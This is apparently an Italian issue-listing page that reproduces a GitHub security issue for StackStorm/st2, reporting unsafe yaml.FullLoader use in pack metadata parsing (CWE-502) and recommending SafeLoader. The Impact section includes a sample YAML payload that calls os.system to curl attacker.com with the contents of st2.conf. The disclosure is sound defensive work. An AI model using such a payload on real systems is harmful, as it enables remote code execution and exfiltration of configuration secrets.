yaml.FullLoader used instead of SafeLoader in pack metadata parsing (CWE-502)
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 86/100
Direzione di ricerca
Inizia in st2common/st2common/services/packs.py, in clone_action_files, e analizza la gestione dei metadati intorno alla riga 388. Modifica il loader usato per lo YAML dei metadati del pack con l’alternativa sicura descritta nell’issue, quindi verifica che la clonazione o l’installazione dei pack continui ad analizzare i metadati ordinari senza istanziare oggetti Python.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
Pack metadata YAML files are parsed using yaml.FullLoader, which can instantiate arbitrary Python objects. If a malicious or compromised pack contains a crafted YAML metadata file, this could lead to arbitrary code execution during pack cloning or installation.
Affected File
st2common/st2common/services/packs.py (line 388)
with open(dest_metadata_file_path) as df:
doc = yaml.load(df, Loader=yaml.FullLoader)
This is called in the clone_action_files function, which executes during pack management operations.
Impact
yaml.FullLoader resolves Python-specific YAML tags such as !!python/object, !!python/object/apply, and !!python/module. A malicious pack metadata file could contain:
name: !!python/object/apply:os.system ["curl attacker.com/exfil?data=$(cat /etc/st2/st2.conf)"]
This would execute arbitrary commands when the YAML file is parsed during pack installation or cloning. Since pack installation often runs with elevated privileges (the StackStorm system user), this could compromise the entire StackStorm deployment.
Attack vector: A user with permission to install packs from external sources (git repositories, StackStorm Exchange) could install a pack containing a malicious metadata file. The code execution occurs during the YAML parsing step, before any other validation.
Recommended Fix
Replace yaml.FullLoader with yaml.SafeLoader:
with open(dest_metadata_file_path) as df:
doc = yaml.load(df, Loader=yaml.SafeLoader)
Or use the convenience function:
with open(dest_metadata_file_path) as df:
doc = yaml.safe_load(df)
yaml.SafeLoader only supports basic YAML types (strings, numbers, lists, dicts, booleans, null) and will not instantiate Python objects.
References
- CWE-502: Deserialization of Untrusted Data
- PyYAML Documentation: Loading YAML
- Discovered via manual code review
- Lingua principale
- Python
- Stelle
- 6.5k
- Fork
- 792
- Merge medio
- 1g 3h
- PR unite (30g)
- 4
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Nessun modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di StackStorm/st2
-
Git worktree directories created with chmod 777 (CWE-732)Forse già presa Una pull request collegata a questa issue è aperta o già unita. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
StackStorm/st2#6392 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
StackStorm/st2#6389 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
StackStorm/st2#6387 ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 55/100
StackStorm/st2#6391 ·
-
CORS middleware reflects Origin with Allow-Credentials, enabling cross-origin attacks (CWE-346)Forse già presa @R-zin l’ha presa 6 giorni fa. Aperta
Difficoltà 3/5 1-2 giorni Idoneità per principianti 68/100
StackStorm/st2#6390 ·
Tutte le issue di StackStorm/st2
Issue simili
-
enhancement good first issue
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
hatchet-dev/hatchet#5179 ·
I maintainer di solito rispondono entro 1 giorno
-
python-version
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 88/100
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
I maintainer di solito rispondono entro 1 giorno
-
bug javascript P2-medium python release:v3.1
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
adrirubio/claude-deck#546 ·
I maintainer di solito rispondono entro 1 giorno